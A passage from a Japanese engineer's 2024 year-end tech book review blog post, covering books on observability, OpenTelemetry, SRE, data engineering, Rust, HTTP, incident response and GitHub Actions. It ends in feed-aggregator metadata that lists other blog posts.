Action」は、クラウドネイティブ時代におけるオブザーバビリティの概念と実践方法を包括的に解説した一冊です。オブザーバビリティを投資対効果の観点から捉え、データの生成から収集、処理、可視化に至るまでのプロセス全体を俯瞰します。これは、神の視点でシステムを観察できるようになる、デジタル世界の第三の目を手に入れるようなものです。Cloud Observability in Action (English Edition)作者:Hausenblas, MichaelManningAmazonOpenTelemetry、Prometheus、Grafana、Loki、Jaegerなどのオープンソースツールを活用し、誰でも実践的な知見を時間以外の費用をかけずに得られるよう工夫されています。まるで高級な料理のレシピを、コンビニの食材だけで再現する魔法のような本です。著者の豊富な経験に基づくベストプラクティスが随所に盛り込まれ、参考URLも惜しみなく共有されています。システムの監視方法について、何百人もの先人たちが積み上げてきた叡智を一冊に凝縮したような贅沢な内容です。単なるツールの使い方の解説にとどまらず、オブザーバビリティを組織文化として定着させるためのヒントも提供されています。つまり、「システムの見える化」という名の文化革命の指南書とも言えるでしょう。本書を通じて、システムの内部状態を把握・推論する力を身につけることができます。これは、デジタルの迷宮で道に迷った開発者たちに、アリアドネの糸を提供するようなものです。得られた知見をどのように活用するかは読者次第ですが、システムと組織の継続的な進化を支える原動力として、オブザーバビリティを正しく理解し実践することができます。少なくとも、「エラーログを検索すれば何とかなる」という幻想から解放されることは間違いありません。本書は、複雑化するシステムの「見える化」を実現するための、実践的なガイドブックです。これを読まずにオブザーバビリティを始めるのは、暗闇の中でパズルを解こうとするようなものかもしれません。本稿では、各章の要点を丁寧に読み解きながら、私なりの学びと気づきをシェアしていきます。皆様にとっても、オブザーバビリティへの理解を深め、その実践への一歩を踏み出すきっかけとなれば幸いです。Learning OpenTelemetry「Learning OpenTelemetry」は、可観測性という広大な領域に対する実践的な航海図といえます。本書の最も重要な貢献は、OpenTelemetryというテクノロジーを通じて、システムの可観測性をビジネス価値へと変換する具体的な方法論を提示している点です。Learning OpenTelemetry: Setting Up and Operating a Modern Observability System (English Edition)作者:Young, Ted,Parker, AustinO\'Reilly MediaAmazon本書を読む際は、オブザーバビリティに関する以下の2冊との併読をお勧めします。まず「Observability Engineering」は、可観測性の基本概念から実践的な実装まで、より広い文脈で解説しています。特に、OpenTelemetryを含む様々な可観測性ツールの位置づけや、組織における可観測性の文化醸成について、包括的な視点を提供してくれます。両書を読み進めることで、技術的な実装の詳細と、より大きな戦略的文脈の両方を理解することができます。Observability Engineering: Achieving Production Excellence (English Edition)作者:Majors, Charity,Fong-Jones, Liz,Miranda, GeorgeO\'Reilly MediaAmazonまた、「入門 監視」は、システム監視の基礎から応用まで、実践的な知見を提供してくれます。監視とオブザーバビリティの関係性、メトリクスの収集と分析、アラートの設計など、日々の運用に直結する知識を学ぶことができます。入門 監視 ―モダンなモニタリングのためのデザインパターン作者:Mike JulianオライリージャパンAmazon本書の特筆すべき点は、技術的深度、組織的展開、ビジネス価値という3つの視点を統合的に扱っていることです。技術面では、OpenTelemetryの内部アーキテクチャから実装の詳細まで、体系的な解説を提供しています。特に、トレース、メトリクス、ログの統合方法や、テレメトリパイプラインの設計については、実務で即座に活用できる具体的な知見が豊富です。組織面では、可観測性の導入を単なる技術導入ではなく、組織変革として捉える視点を提供しています。特に、Deep対Wide、Code対Collection、Centralized対Decentralizedという3つの軸に基づく展開戦略は、組織の規模や成熟度に応じた柔軟なアプローチを可能にします。ビジネス面では、テレメトリデータを通じてビジネスの意思決定や改善につなげていく方法について、具体的な指針を示しています。私が実務を通じて特に共感したのは、本書の掲げる「Do no harm, break no alerts」という原則です。可観測性の向上は、既存のシステムや運用プロセスを破壊することなく、段階的に実現していくべきだという主張は、現場の実態に即した賢明なアプローチだと感じます。本書の構成も実践的です。各章は理論的な基礎から始まり、実装の詳細、そして運用上の考慮点へと展開されていきます。特に、各章末のケーススタディやベストプラクティスは、他組織の経験から学ぶ貴重な機会を提供してくれます。最後に、本書の結論部分で言及されている「可観測性の次のフロンティア」についても注目に値します。AIとの統合やテストとしての可観測性など、新しい可能性の提示は、この分野の今後の発展を考える上で重要な示唆を与えてくれます。OpenTelemetryの導入を検討している組織にとって、本書は単なる技術解説書以上の価値を持つ戦略的なガイドブックとなるでしょう。また、すでにOpenTelemetryを導入している組織にとっても、その活用方法を再考し、より高度な可観測性を実現するための有益な指針となることは間違いありません。こちらの本は日本語版がリリースされています。入門 OpenTelemetry ―現代的なオブザーバビリティシステムの構築と運用作者:Ted Young,Austin ParkerオライリージャパンAmazonBecoming SRE「Becoming SRE」は、SRE(Site Reliability Engineering)という職種に対する深い理解と実践的な洞察を提供する画期的な一冊です。本書は、個人がSREとしてのキャリアを築くための道筋と、組織がSREを導入・発展させるための戦略を包括的に解説しています。Becoming SRE: First Steps Toward Reliability for You and Your Organization (English Edition)作者:Blank-Edelman, David N.O\'Reilly MediaAmazonSREに関する書籍は数多く出版されていますが、本書の特筆すべき点は、その実践に基づいた具体性と実用性にあります。特に、他のSRE関連書籍が理論や理想的なプラクティスの解説に重点を置く傾向がある中、本書は現場で直面する現実的な課題とその解決策に焦点を当てています。例えば、Googleが提唱したSREの原則やプラクティスを、規模や成熟度の異なる組織でどのように適用していくかについて、具体的なステップとアプローチを示しています。また、SREとしてのキャリアパスや、組織内でのSRE文化の醸成方法など、実務者の視点に立った実践的なアドバイスが豊富に盛り込まれています。syu-m-5151.hatenablog.com本書の価値は、SREという職種を単なる技術的な役割としてではなく、組織の文化や価値観を形作る存在として捉えている点にあります。著者のDavid Blank-Edelman氏は、長年のSREとしての経験を基に、技術とビジネスの両面からSREの本質に迫っています。本書は3つのパートで構成されています。Part Iでは、SREの基本的な概念、文化、そしてマインドセットについて解説しています。特に注目すべきは、SREが目指すべき「適切な信頼性レベル」という考え方です。100%の信頼性を追求するのではなく、ビジネスの要求と照らし合わせながら、最適な信頼性レベルを見極めることの重要性が説かれています。Part IIは、個人がSREになるための具体的なステップを示しています。技術的なスキルセットはもちろん、コミュニケーション能力、問題解決力、そして失敗から学ぶ姿勢など、SREに求められる多面的な資質について詳細に解説されています。特筆すべきは、オンコール対応やインシデント管理といった実務的なトピックについても、豊富な事例とともに具体的なアドバイスが提供されている点です。Part IIIでは、組織としてSREを導入・発展させるための戦略が展開されています。SREの成功は、個々のエンジニアの努力だけでなく、組織全体のサポートと理解が不可欠だという著者の主張は説得力があります。特に興味深いのは、SREの組織的な成熟度を5つのステージで捉えるフレームワークです。各ステージの特徴と課題、そして次のステージへの移行に必要な施策が具体的に示されています。本書が特に強調しているのは、SREにおける「文化」の重要性です。モニタリング、自動化、インシデント対応といった技術的な実践も重要ですが、それらを支える組織文化がなければ、SREは真の力を発揮できません。データ駆動の意思決定、失敗から学ぶ姿勢、部門間の協働、これらの文化的要素をどのように育んでいくかについても、深い洞察が示されています。また、本書はSREの導入と成長における現実的な課題にも正面から向き合っています。技術的な障壁はもちろん、組織の抵抗、リソースの制約、文化の変革の難しさなど、SREが直面する様々な課題に対する具体的な対処法が提示されています。総じて本書は、SREを目指す個人にとってのキャリアガイドであると同時に、組織にとってのSRE導入・発展のロードマップとして機能する実践的な指南書です。著者の豊富な経験に基づくアドバイスは、SREという未知の領域に踏み出そうとする読者にとって、信頼できる道標となるはずです。こちらの本も日本語版がリリースされています。SREをはじめよう ―個人と組織による信頼性獲得への第一歩作者:David N. Blank-EdelmanオライリージャパンAmazonFundamentals of Data Engineering「Fundamentals of Data Engineering」は、データエンジニアリングの基礎から実践までを体系的に解説した包括的な一冊です。データエンジニアリングを「raw dataを取り込み、高品質で一貫性のある情報を生成するシステムとプロセスの開発、実装、維持」と定義し、その全容を詳細に説明しています。Fundamentals of Data Engineering: Plan and Build Robust Data Systems (English Edition)作者:Reis, Joe,Housley, MattO\'Reilly MediaAmazon本書は4つのパートで構成されており、Part Iではデータエンジニアリングの基礎と構成要素、Part IIではデータエンジニアリングのライフサイクルの詳細、Part IIIではセキュリティとプライバシー、そして将来の展望を扱っています。特に、データ生成からストレージ、取り込み、変換、提供までの一連のライフサイクルについて、実践的な知見が豊富に盛り込まれています。著者たちは、特定のツールや技術に依存しない原則ベースのアプローチを採用しています。これにより、急速に変化するデータ技術の世界においても、長く有効な知識を提供することに成功しています。データエンジニアは、セキュリティ、データ管理、DataOps、データアーキテクチャ、オーケストレーション、ソフトウェアエンジニアリングの交差点に位置し、これらの要素を統合的に理解し活用する必要があることが強調されています。本書の特筆すべき点は、理論と実践のバランスが絶妙なことです。データエンジニアリングの基本原則を解説しながら、実際のシステム設計や運用における具体的な課題とその解決策も提示しています。また、クラウドファーストの時代におけるデータエンジニアリングの在り方についても深い洞察が示されています。セキュリティとプライバシーに関する章では、データエンジニアリングにおけるセキュリティの重要性と、具体的な実装方法が詳細に解説されています。GDPRなどの規制への対応や、データの匿名化、アクセス制御など、現代のデータエンジニアが直面する重要な課題がカバーされています。最後に、データエンジニアリングの将来に関する章では、業界の動向と今後の展望が示されています。クラウドスケールの「データOS」の出現や、リアルタイムデータ処理と機械学習の融合など、興味深い予測が述べられています。本書は、データエンジニアリングの世界で活躍したい技術者にとって、必携の一冊となるでしょう。体系的な知識の習得と実践的なスキルの向上に大いに役立つ内容となっています。こちらの本も日本語版がリリースされています。データエンジニアリングの基礎 ―データプロジェクトで失敗しないために作者:Joe Reis,Matt HousleyオライリージャパンAmazonTidy First?「Tidy First?」は、エクストリームプログラミングの考案者であり、ソフトウェアパターンの先駆者として知られるKent Beckによる、コードの整理整頓に関する画期的な一冊です。本書は、リファクタリングの新しい考え方として「Tidying(整理整頓)」という概念を提唱し、その実践的なアプローチを示しています。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO\'Reilly MediaAmazonリファクタリングといえば「リファクタリング 既存のコードを安全に改善する」や「レガシーコードからの脱却」ですがこのリファクタリングの考え方をより小規模で実践的なアプローチへと発展させたものと言えるでしょう。リファクタリング 既存のコードを安全に改善する(第2版)作者:MartinFowlerオーム社Amazonレガシーコードからの脱却 ―ソフトウェアの寿命を延ばし価値を高める9つのプラクティス作者:David Scott BernsteinオライリージャパンAmazon本書の核心は、「いつ、どこで、どのようにコードを整理するべきか」という実践的な問いに対する答えを提示している点です。特に注目すべきは、Tidyingをリファクタリングの部分集合として位置づけ、より小規模で安全な改善活動として定義している点です。本書は3つのパートで構成されています。Part 1: Tydingsでは、具体的な整理整頓の手法が示されています。変数名の調整や対称性の確保、不要なコードの削除など、小規模だが効果的な改善活動が詳しく解説されています。これらは、ボーイスカウトの原則(来たときよりも美しく)とも通じる考え方です。Part 2: Managingでは、Tidyingの実践的なマネジメントについて解説されています。特に重要なのは、機能開発の直前にTidyingを行うべきという提言です。これは、料理をする前にキッチンを整理整頓するのと同じように、本題に取り組む前に作業環境を整えることの重要性を示唆しています。また、Tidyingは1時間以内に完了できる規模に抑えるべきという具体的な指針も示されています。Part 3: Theoryでは、Tidyingの理論的な基盤が展開されています。特筆すべきは、経済的な観点からの分析です。NPV(正味現在価値)やオプション理論を用いて、Tidyingの投資対効果を説明しています。また、疎結合と高凝集というソフトウェアアーキテクチャの基本原則との関連も論じられています。また、ソフトウェア設計の基本原則をより深く理解するために、以下の2冊との併読をお勧めします。「Balancing Coupling in Software Design」は、システムの結合度に焦点を当て、モジュール性と複雑性のバランスを取るための実践的なガイドを提供しています。特に、結合度を単なる「悪いもの」としてではなく、システム設計における重要なツールとして捉え直す視点は、Tidyingの経済的価値の考え方と共鳴します。Balancing Coupling in Software Design: Universal Design Principles for Architecting Modular Software Systems (Addison-Wesley Signature Series (Vernon)) (English Edition)作者:Khononov, VladAddison-Wesley ProfessionalAmazonさらに、「A Philosophy of Software Design, 2nd Edition」は、ソフトウェア設計における複雑性の管理について、より哲学的な視点から考察を展開しています。この本は、モジュール分割の原則やインターフェース設計の考え方など、Tidyingの実践を支える理論的な基盤を補完してくれます。A Philosophy of Software Design, 2nd Edition (English Edition)作者:Ousterhout, John K. Amazon本書の真価は、コードの整理整頓を、技術的な活動としてだけでなく、経済的な投資活動として捉える視点を提供している点です。これは、技術的な改善活動の必要性を経営層に説明する際の有効な理論的基盤となります。また、本書は3部作の第1巻として位置づけられており、個人、チーム、組織のレベルでの開発プラクティスを包括的に扱う野心的なプロジェクトの出発点となっています。私にとって、本書は技術的負債の管理に関する新しい視点を提供してくれました。特に、小規模な改善活動を継続的に行うことの重要性と、その活動の経済的な価値を理解する上で、貴重な指針となっています。本書で提唱されているTidyingの概念は、現代のソフトウェア開発における持続可能性の向上に大きく貢献する可能性を秘めています。技術的な改善と経済的な価値創造の両立を目指す実践的なアプローチとして、多くの開発者にとって有益な知見となるでしょう。こちらの本も日本語版がリリースされます。読んでないのですが定評のある翻訳者陣が担当しており、高品質な翻訳が期待できます。Tidy First? ―個人で実践する経験主義的ソフトウェア設計作者:Kent Beckオーム社Amazonソフトウェア開発現場の「失敗」集めてみた。42の失敗事例で学ぶチーム開発のうまい進めかた「ソフトウェア開発現場の「失敗」集めてみた」は、開発現場でありがちな失敗を42の事例としてまとめ上げた、笑いと教訓が詰まった一冊です。本書の特徴は、各エピソードを4コマ漫画付きで紹介しながら、その失敗から学べる教訓と対策を実践的に解説している点にあります。ソフトウェア開発現場の「失敗」集めてみた。 42の失敗事例で学ぶチーム開発のうまい進めかた作者:出石 聡史翔泳社Amazon本書の真髄は、「失敗」を単なる戒めとしてではなく、成長のための貴重な学びの機会として提示している点です。例えば、「全部入りソフトウェア」や「八方美人仕様」といった事例は、読んでいて思わず苦笑してしまうものの、自分の過去や現在の案件と重ね合わせると背筋が凍るような リアルな内容となっています。特に印象的なのは、各失敗事例が企画、仕様、設計・実装、進捗管理、品質管理、リリース後という開発工程に沿って整理されている点です。これにより、どの段階でどのような落とし穴が待ち構えているのかを、体系的に理解することができます。本書の構成は非常に巧みです。各エピソードは、まず4コマ漫画で状況を分かりやすく説明し、続いて失敗の詳細な解説へと進みます。そして、なぜその失敗が起きるのかという原因分析を行い、最後にどうすれば防げるのかという具体的な対策を示すという流れで展開され、読者を笑いながら学びへと導いていきます。時には「あるある...」と共感し、時には「まさか自分も...」と冷や汗をかきながら、気づけば実践的な対策を学んでいられるという、絶妙な構成となっています。本書を読み進めていく中で、開発現場で日々直面する可能性のある様々な失敗のパターンが、読者の経験と重なりながら鮮やかに描き出されていきます。それぞれの事例は、読者が「ああ、これは...」と思わず身につまされるような、リアルな状況として描かれています。ここで思い出したのが、「達人プログラマー 第2版」です。この本もまた、ソフトウェア開発における失敗と成功の本質を深く掘り下げています。両書に共通するのは、失敗を恐れるのではなく、そこから学び、次につなげていく姿勢です。「達人プログラマー」が開発者としての哲学や普遍的な原則を説くのに対し、この本は現場での具体的な失敗事例とその対策に焦点を当てており、互いに補完し合う関係にあると言えるでしょう。達人プログラマー ―熟達に向けたあなたの旅― 第2版作者:David Thomas,Andrew Huntオーム社Amazon本書の真価は、これらの失敗を「笑い」というクッションを通して提示することで、読者が防衛本能を働かせることなく、客観的に問題を理解し、解決策を考えられるようにしている点です。また、各事例に対する具体的な対策は、実務ですぐに活用できる実践的なものとなっています。私自身、本書を読みながら何度も「あ、これ...」と苦笑いしましたが、同時に「明日からこうしよう」という具体的なアクションプランも得ることができました。特に、チームリーダーやプロジェクトマネージャーにとって、この本は「失敗」という観点からプロジェクトを見直す貴重な機会を提供してくれます。本書は、開発現場の失敗から学ぶという姿勢を大切にしながら、その教訓を次の成功へとつなげていく道筋を示してくれる良書です。時には笑い、時には考え込み、そして明日からの行動を変えていく—そんな良い意味での「反省の書」といえるでしょう。プログラミングRust 第2版「プログラミングRust 第2版」は、Rustという言語の深い理解を導く羅針盤のような一冊です。本書は、システムプログラミングの本質に迫りながら、現代的な言語機能を体系的に解説するという野心的な試みに成功しています。プログラミングRust 第2版作者:Jim Blandy,Jason Orendorff,Leonora F. S. TindallオライリージャパンAmazonこの本の特筆すべき点は、Rustの重要な概念を段階的に、かつ包括的に解説していることです。特に所有権とライフタイム、並行処理といったRustの特徴的な機能について、理論的な説明と実践的な例を絶妙なバランスで提供しています。これは、まるで高度な技術文書をコンパイラが最適化するように、複雑な概念を理解しやすい形に変換してくれる働きがあります。本書の構成は、基本的な言語機能から始まり、徐々により高度なトピックへと展開していきます。例えば、非同期プログラミングやトレイト、ジェネリクス、マクロなど、モダンなRustの重要な機能が詳細に解説されています。これは、読者の理解度を段階的にスケールアップさせていく、よく設計されたアーキテクチャのようです。特に印象的なのは、本書がパフォーマンスとメモリ安全性を両立させるためのRustの機能を、システムプログラマの視点から丁寧に解き明かしている点です。これは、高可用性システムの設計原則にも通じる、信頼性とパフォーマンスのトレードオフを実践的に学べる貴重な機会を提供しています。また、本書は2021年のRust Editionに対応しており、最新の言語機能や実践的なプログラミング手法が網羅されています。これは、まるで継続的デリバリーのパイプラインのように、最新の知識を読者に届けてくれます。実務的な観点からも、本書の価値は計り知れません。エラーハンドリング、テスト、デバッグといった実践的なトピックについても、深い洞察と具体的な実装例を提供しています。これらの知識は、本番環境でのRustプログラミングにおいて、インシデントを防ぎ、安定性を確保するための重要な基盤となります。本書は、単なる言語仕様の解説書を超えて、システムプログラミングの本質に迫る良書といえます。その内容は、Rustを学ぶ開発者にとって、強固な基盤となるインフラストラクチャを提供してくれることでしょう。私にとって、本書は技術書のデータセンターの中核を担うサーバーとして機能しています。新しい機能や概念に出会うたびに、本書に立ち返り、その本質的な理解を深めることができます。2025年に予定されているRust 2024 Editionのリリースに向けて、本書の次版がどのように進化していくのか、今から楽しみでなりません。Programming Rust: Fast, Safe Systems Development (English Edition)作者:Blandy, Jim,Orendorff, Jason,Tindall, Leonora F. S.O\'ReillyAmazonEffective Rust「Effective Rust」は、Rustのコンパイラが発する警告やエラーの深い理由を解き明かしてくれる、暗号解読書のような一冊です。本書は、単なる文法やパターンの解説を超えて、Rustの設計思想とその根底にある原理を探求することで、より深い理解と実践的なスキルの獲得を可能にします。Effective Rust: 35 Specific Ways to Improve Your Rust Code (English Edition)作者:Drysdale, DavidO\'Reilly MediaAmazon本書の真髄は、「なぜそのコードがコンパイラに拒否されるのか」という本質的な問いに対する答えを提供している点です。これは、まるでセキュリティ監査ツールのような役割を果たし、潜在的な問題を事前に検出し、より安全なコードへと導いてくれます。例えば、借用チェッカーとの「戦い」は、実はメモリ安全性を確保するための重要な対話であることを理解させてくれます。特筆すべきは、本書が型システムを通じたデザインパターンを詳細に解説している点です。これは、アプリケーションのアーキテクチャを型安全に設計するための青写真を提供してくれます。例えば、newtypeパターンの活用や、トレイトを用いた共通の振る舞いの表現など、型システムを活用した設計手法を学ぶことができます。また、本書はエラーハンドリングのベストプラクティスについて深い洞察を提供します。OptionやResult型の効果的な使用法から、独自のエラー型の設計まで、堅牢なエラー処理の体系を示してくれます。これは、まるで障害対策のプレイブックのような役割を果たします。実務的な観点からも、本書の価値は計り知れません。依存ライブラリの管理やツールチェーンの活用など、実践的なトピックについても詳しく解説されています。特に、Clippyとの対話を通じたコード品質の向上や、CIシステムの設定など、現代のソフトウェア開発に不可欠な知識が網羅されています。本書は、「とりあえず動く」コードから「より良い」コードへの進化を支援してよりイディオマティックなRustコードへの道筋を示してくれます。私にとって、本書は技術書のデータセンターにおける重要なセキュリティシステムとして機能しています。コードの品質と安全性を確保するためのチェックポイントとして、常に参照すべき存在となっています。特に、「なぜそうすべきか」という根本的な理解を深めることで、より効果的なRustプログラミングが可能になります。こちらの本も日本語版がリリースされています。Effective Rust ―Rustコードを改善し、エコシステムを最大限に活用するための35項目作者:David Drysdaleオーム社Amazonバックエンドエンジニアを目指す人のためのRust「バックエンドエンジニアを目指す人のためのRust」は、単なるRustの入門書を超えて、実践的なプロジェクトを通じてバックエンドエンジニアに必要な知識とスキルを体系的に学べる一冊です。本書は、「なぜバックエンドにRustなのか」という根本的な問いに、具体的なプログラミング体験を通じて答えを提示しています。バックエンドエンジニアを目指す人のためのRust作者:安東 一慈,大西 諒,徳永 裕介,中村 謙弘,山中 雄大翔泳社Amazon「Webバックエンド開発にRustは不要ではないか?」という疑問に対して、本書は実践的な回答を提供します。Rustの型システムとコンパイラによる厳格なチェックは、本番環境での予期せぬエラーを事前に防ぐことができます。また、エラーハンドリングやOption/Result型の扱いなど、Rustの特徴的な機能は、信頼性の高いバックエンドシステムの構築に直接的に貢献します。本書の構成は、学習者の段階的な成長を支援するように綿密に設計されています。計算クイズから始まり、ポーカーゲーム実装でデータ構造を学び、家計簿プログラムでファイルI/Oを理解し、最終的にはTODOアプリの開発とデプロイメントまでを経験できます。各プロジェクトは、バックエンド開発に必要な特定の技術要素に焦点を当てており、理論と実践を効果的に結びつけています。また、本書はCargoによるパッケージ管理、ユニットテスト、リンター、フォーマッターといった実務で重要となる開発ツールの活用方法も丁寧に解説しています。これらのツールは、チーム開発における生産性と品質の向上に直結する重要な要素です。本書を通じて学べる実践的なスキルは、現代のバックエンド開発の現場で直接活用できます。とりわけ、Webアプリケーション開発からデプロイメントまでの一連のプロセスを実際に体験できる点は、実務への橋渡しとして非常に価値があります。最終章では採用面接を想定した内容も含まれており、学習した内容を実際のキャリアにつなげる道筋も示されています。Real World HTTP 第3版「Real World HTTP 第3版」は、HTTPプロトコルの基礎から最新動向まで、体系的かつ実践的に解説した決定版です。本書は、HTTPの歴史的な進化をたどりながら、ブラウザの内部動作やサーバーとのやり取りについて、実例とコードを交えて詳細に解説しています。Real World HTTP 第3版 ―歴史とコードに学ぶインターネットとウェブ技術作者:渋川 よしきオライリージャパンAmazon本書は、辞書的に知りたい項目を調べるのにも、通して読んで体系的に学習するのにも適しています。特に注目すべきは、認証やセキュリティなど、開発者が苦手意識を持ちがちな領域についても、実践的な観点から詳しく解説している点です。サンプルコードはGoを使用していますが、これは動作確認や挙動の理解に焦点を当てたものです。実際の実装例を通じて、HTTPの基本的な仕組みから最新の機能まで、具体的に理解することができます。もう少し入門的な内容としては「[改訂新版]プロになるためのWeb技術入門」をオススメしたいです。10年以上にわたって多くの読者に支持されてきた本書はWebシステムの基礎から最新のSPAまで、体系的かつ段階的に学べる実践的な入門書です。本書は、なぜWebシステムをうまく作ることができないのかという根本的な問いに対して、技術の本質的な理解を通じて答えを導き出そうとしています。サンプルもどうようにGoですし、Goは本能さえあれば読めるので…。[改訂新版]プロになるためのWeb技術入門作者:小森 裕介技術評論社Amazonまた、実装やWeb技術を学べたと思ってアーキテクチャ設計を学ぶ準備が整った方には、「アーキテクトの教科書 価値を生むソフトウェアのアーキテクチャ構築」をお勧めします。本書は、アーキテクチャ設計の本質的な考え方から、実践的な構築手法までを体系的に解説していて入門にはぴったりです。アーキテクトの教科書 価値を生むソフトウェアのアーキテクチャ構築作者:米久保 剛翔泳社AmazonWeb技術やアーキテクチャについて検索エンジンやChatGPTで調べると、求めている答えにたどり着くまでに多くの時間がかかり、また得られる情報が断片的になりがちです。一方、良質な技術書は、その分野の知識を体系的に整理し、読者が見落としがちな重要なポイントも含めて包括的に解説してくれます。さらに、実践的な経験に基づく洞察や、背景にある原理の説明など、オンラインでは得にくい深い知見を提供してくれます。第3版では、より初学者を意識した導入や、スーパーアプリなどプラットフォーム化するウェブに関する新章が追加されています。また、HTTP/3とQUICなど最新の技術動向についても詳しく解説されています。本書の圧倒的な情報量は、単なるボリュームではなく、実務で本当に必要となる知識が凝縮されています。AWSやWebフレームワークでの開発スキルも重要ですが、真のWebエンジニアとして成長するためには、本書で解説されているような基盤となる知識の理解が不可欠です。学び直しにも最適な一冊であり、眺めるだけでも新しい発見が得られます。HTTPやWeb技術の深い理解を目指す若手エンジニアには、まさに必携の書といえるでしょう。【改訂新版】システム障害対応の教科書「システム障害対応の教科書」は、システム障害対応の暗黙知を形式知化し、体系的に解説した画期的な一冊です。本書は、インシデント発生から終息までの一連のプロセスを詳細に解説するだけでなく、組織としての障害対応力向上までを包括的にカバーしています。【改訂新版】システム障害対応の教科書作者:木村 誠明技術評論社Amazon改訂新版では、チームメンバーの教育と育成、障害対応訓練、事故を防ぐ手順書の作り方、エンドユーザ向け情報発信についての新章が追加され、より実践的な内容となっています。特に、ワークブック編の追加により、理論を実践に落とし込むための具体的な手法が提供されており、新人から中堅、マネージャーまで幅広い層に価値のある内容となっています。本書の真価は、システム障害対応における役割と基本動作の明確化にあります。インシデントコマンダー、作業担当者、ユーザ担当者など、各役割の責務と行動規範が詳細に解説されています。また、必要なドキュメントやツール、環境についても具体的な説明があり、すぐに実務に活かせる実践的な知識を得ることができます。特に注目すべきは、組織の障害対応レベル向上と体制作りに関する章です。障害対応力のスキルチェックシートや訓練の実施要領など、組織として継続的に改善していくための具体的な方法論が示されています。また、生成AI技術のシステム運用への応用についても言及されており、最新の技術動向も押さえられています。Appendixでは、実際の難易度の高いシステム障害ケースが紹介されており、ビジネスロジックの障害から大規模インフラ障害、災害時の対応まで、現実的なシナリオに基づいた学びを得ることができます。これらのケーススタディは、理論と実践を結びつける貴重な教材となっています。本書は、システム運用に関わるすべての人にとって、障害対応の基本から応用まで、体系的に学べる決定版といえます。新人エンジニアの教育から、中堅エンジニアのスキル向上、マネージャーの組織運営まで、幅広いニーズに応える内容となっています。運用であればAWS運用入門も今年読んで良かった本なのであわせて紹介しておきます。AWS運用入門 押さえておきたいAWSの基本と運用ノウハウ作者:佐竹 陽一,山﨑 翔平,小倉 大,峯 侑資SBクリエイティブAmazon申し訳ありません。GitHub CI/CD実践ガイドの章は前の章とは独立して新規に追加すべきでした。改めて追加させていただきます:GitHub CI/CD実践ガイド「GitHub CI/CD実践ガイド」は、持続可能なソフトウェア開発を支えるGitHub Actionsの設計と運用について、基礎から実践、そして応用まで体系的に解説した一冊です。本書は、単なるGitHub Actionsの使い方マニュアルを超えて、現代のソフトウェア開発における継続的インテグレーションと継続的デリバリーの本質に迫っています。GitHub CI/CD実践ガイド――持続可能なソフトウェア開発を支えるGitHub Actionsの設計と運用 エンジニア選書作者:野村 友規技術評論社Amazon本書の特徴は、その構成の緻密さにあります。基礎編では、GitHub Actionsの基本概念や構文を丁寧に解説し、実践編では具体的なユースケースに基づいた実装方法を示し、応用編では高度な使い方やセキュリティ、組織としての実践方法を展開しています。この段階的なアプローチにより、読者は自然と実践的なCI/CDの知識を積み上げていくことができます。特筆すべきは、本書がセキュリティと運用の観点を強く意識している点です。GitHub Actionsの基本的な使い方だけでなく、OpenID Connectによるセキュアなクラウド連携、Dependabotによる依存関係の管理、GitHub Appsによるクロスリポジトリアクセスなど、実運用で直面する重要な課題についても深く掘り下げています。本書が提供する知見は、現代のソフトウェア開発において不可欠な継続的デリバリーの実践へと読者を導きます。組織のパフォーマンス向上からバージョン管理戦略、テスト戦略、そしてインフラストラクチャの変更管理まで、包括的な視点でCI/CDの実践方法を解説しています。私にとって本書は、日々のCI/CD運用における信頼できるリファレンスとなっています。実装時の細かな疑問から、アーキテクチャレベルの設計判断まで、様々な場面で本書の知見が活きています。GitHubを利用する開発者にとって、この本は確実に実務の質を高めてくれる一冊となるでしょう。個人的にLearning GitHub Actionsが好きだったので日本語版のような書籍がでてきてくれて嬉しいです。Learning GitHub Actions: Automation and Integration of CI/CD with GitHub (English Edition)作者:Laster, BrentO\'Reilly MediaAmazonおわりに2024年、私にとって技術書との関わり方が大きく変化した1年でした。技術書に関してはこれまでのように単に量を追い求めるのではなく、一冊一冊をより深く理解することに注力しました。その過程で、技術書は単なる情報の集合体ではなく、先人たちの経験や洞察が凝縮された知恵の結晶であることを改めて実感しました。今年はプラットフォームエンジニアリング、継続的デプロイメント、オブザーバビリティ、SRE、データエンジニアリングなど、現代のソフトウェアエンジニアリングにおける重要なテーマを深く学ぶことができました。また、技術イベントでの発表や記事執筆に向けて、多くの入門書にも触れる機会があり、そこに込められた読者の理解を深めるための緻密な工夫にも感銘を受けました。特に印象深かったのは、これらの技術書に共通する「実践知の体系化」というアプローチです。例えば、『Platform Engineering』は組織的な実践知を理論化し、『システム障害対応の教科書』は現場の暗黙知を形式知へと昇華させています。また、『プログラミングRust』や『Effective Rust』といった言語関連の書籍も、単なる技術解説を超えて、設計思想や原理の本質的な理解に重点を置いています。これらの本から得た知識は、日々の業務や技術イベントでの発表を通じて実践し、さらにその経験を自分の言葉で発信することで、理解をより深めることができました。来年も引き続き、質の高い技術書との出会いを大切にし、得られた知見を実践し、コミュニティに還元していくことで、エンジニアとしての成長を続けていきたいと考えています。","isoDate":"2024-12-23T08:47:50.000Z","dateMiliSeconds":1734943670000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"vim-jpラジオ#24聞いた - OSS活動するVimmer","link":"https://blog.atusy.net/2024/12/23/vim-jp-radioa-24/","contentSnippet":"アカデミア系Vimmerの飽くなき挑戦を感じられる刺激的な回。","isoDate":"2024-12-23T00:00:00.000Z","dateMiliSeconds":1734912000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Workforce Identity + Auth0 で Vertex AI Search の ACL 制御を行う","link":"https://zenn.dev/satohjohn/articles/a422ee68dd3485","contentSnippet":"3-shake AdventCalendar 第2シーズン 23日目の記事になります。2回目の登場です。今回は真面目な(?)技術記事になります。私としては前回書いた記事も大真面目でしたが。 概要今回やりたいこととしては、ウェブアプリケーション上で Id Provider(以後 IdP) 認証をして、その結果を利用して Vertex AI Agent Builder の Search 機能(以後めんどいので旧称の Vertex AI Search として説明) の ACL による検索の権限管理を行うというものです。今回 IdP として Auth0 を利用します。そのため、少し A...","isoDate":"2024-12-22T18:03:43.000Z","dateMiliSeconds":1734890623000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"AWS Signerにおけるコンテナ署名の実装","link":"https://blog.masasuzu.net/entry/2024/12/22/132803","contentSnippet":"この記事は3-shake Advent Calendar 2024の22日目の記事です。AWS Signerを使ったコンテナイメージの署名処理を扱った案件があったのでこちらの紹介となります。ただ、後述するように完成には至ってないです。それでもAWS Signerを使った署名処理と署名検証についての概要をお伝えできるかなと思います。今回のシステムはAWS ECS で Web 